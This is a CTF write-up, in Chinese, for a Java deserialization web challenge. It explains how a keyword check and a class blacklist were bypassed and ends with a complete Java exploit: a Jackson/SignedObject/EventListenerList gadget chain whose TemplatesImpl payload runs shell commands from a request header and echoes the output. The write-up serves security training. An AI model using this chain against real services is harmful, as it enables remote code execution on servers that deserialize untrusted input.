Polarctf2025夏季赛 web java ez_check
第一次自己做出一个java,值得小小的记录,polar的java真得非常友好
反编译jar包,一眼就看到有个/deserialize 路由,接受base64的序列化数据,base64解码后
经过一次kmp检查,再由SafeObjectInputStream来反序列化
看pom.xml里没有别的依赖,那就是打spring原生的jackson反序列化,思考如何绕过
大佬讲解jackson反序列化的文章
https://xz.aliyun.com/news/12412
kmp_check
kmp顾名思义就是对序列化字符串明文的检查,这个很容易绕,直接utf-8 overlong encoding就行
大佬实现的文章
探索Java反序列化绕WAF新姿势 - 飞书云文档 (feishu.cn)
SafeObjectInputStream_check
然后是SafeObjectInputStream,黑名单
private static final Set<String> BLACKLIST = new HashSet(Arrays.asList("org.apache.commons.beanutils.BeanComparator", "javax.management.BadAttributeValueExpException", "org.apache.commons.collections4.map.AbstractHashedMap", "org.springframework.aop.target.HotSwappableTargetSource", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"));
把最后的TemplatesImpl ban了,没有ban经典的signObject,直接打signObject二次反序列化,最常用的触发toString的BadAttributeValueExpException
没了,换成EventListenerList
即可
需要注意的是,signObject里的序列化数据也要用utf-8 overlong,不只是signObject,在这里卡了好一会,
如何设置呢?看signObject里触发二次反序列化的地方
就可以知道序列化数据是this.content
,可以反射赋值,是private的,先setAccesible就行
还有经典的jackson 要用动态代理使链子稳定
关于java反序列化中jackson链子不稳定问题
polar的靶场不出网,打springecho
exp
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;import javax.management.BadAttributeValueExpException;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.*;
import java.net.URLEncoder;
public class SignedObjectChain {public static void main(String[] args) throws Exception {// 设置signobject内的反序列化TemplatesImpl templatesImpl = new TemplatesImpl();setFieldValue(templatesImpl, "_bytecodes", new byte[][]{genPayload()});setFieldValue(templatesImpl, "_name", "hello");setFieldValue(templatesImpl, "_tfactory", null);//JdkDynamicAopProxy 动态代理 使链子稳定Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);cons.setAccessible(true);AdvisedSupport advisedSupport = new AdvisedSupport();advisedSupport.setTarget(templatesImpl);InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);POJONode jsonNodes2 = new POJONode(proxyObj);BadAttributeValueExpException exp = new BadAttributeValueExpException(null);setFieldValue(exp,"val",jsonNodes2);KeyPairGenerator keyPairGenerator;keyPairGenerator = KeyPairGenerator.getInstance("DSA");keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();Signature signingEngine = Signature.getInstance("DSA");SignedObject signedObject = new SignedObject(1,privateKey,signingEngine);//反射设置序列化数据ByteArrayOutputStream b = new ByteArrayOutputStream();ObjectOutput a = new CustomObjectOutputStream(b);a.writeObject(exp);a.flush();a.close();setFieldValue(signedObject,"content",b.toByteArray());//接上EventListenerListPOJONode jsonNodes = new POJONode(signedObject);EventListenerList list = new EventListenerList();UndoManager manager = new UndoManager();Vector vector = (Vector) getFieldValue(manager, "edits");vector.add(jsonNodes);setFieldValue(list, "listenerList", new Object[]{Map.class, manager});if(new Checker().KmpCheck(Base64.getDecoder().decode(serial(list)))){System.out.println("No");}System.out.println( URLEncoder.encode(serial(list)));
// deserial(serial(list));}public static byte[] get_calc() throws Exception {ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());ctClass.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);constructor.setBody("Runtime.getRuntime().exec(\"calc\");");ctClass.addConstructor(constructor);return ctClass.toBytecode();}public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {Class clazz = obj.getClass();while (clazz != null) {try {Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);return field.get(obj);} catch (Exception e) {clazz = clazz.getSuperclass();}}return null;}public static byte[] genPayload() throws Exception{ClassPool classPool = ClassPool.getDefault();CtClass clazz = classPool.makeClass("A");if ((clazz.getDeclaredConstructors()).length != 0) {clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);} clazz.addConstructor(CtNewConstructor.make("public B() throws Exception {\n" +" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +" String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +" httpresponse.getWriter().write(new String(result));\n" +" httpresponse.getWriter().flush();\n" +" httpresponse.getWriter().close();\n" +" }", clazz));clazz.getClassFile().setMajorVersion(50);CtClass superClass = classPool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);return clazz.toBytecode();}public static String serial(Object o) throws IOException, NoSuchFieldException {ByteArrayOutputStream baos = new ByteArrayOutputStream();CustomObjectOutputStream coos = new CustomObjectOutputStream(baos);coos.writeObject(o);String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());return(base64String);}public static void deserial(String data) throws Exception {byte[] base64decodedBytes = Base64.getDecoder().decode(data);ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);ObjectInputStream ois = new ObjectInputStream(bais);ois.readObject();ois.close();}private static void Base64Encode(ByteArrayOutputStream bs){byte[] encode = Base64.getEncoder().encode(bs.toByteArray());String s = new String(encode);System.out.println(s);System.out.println(s.length());}private static void setFieldValue(Object obj, String field, Object arg) throws Exception{Field f = obj.getClass().getDeclaredField(field);f.setAccessible(true);f.set(obj, arg);}
}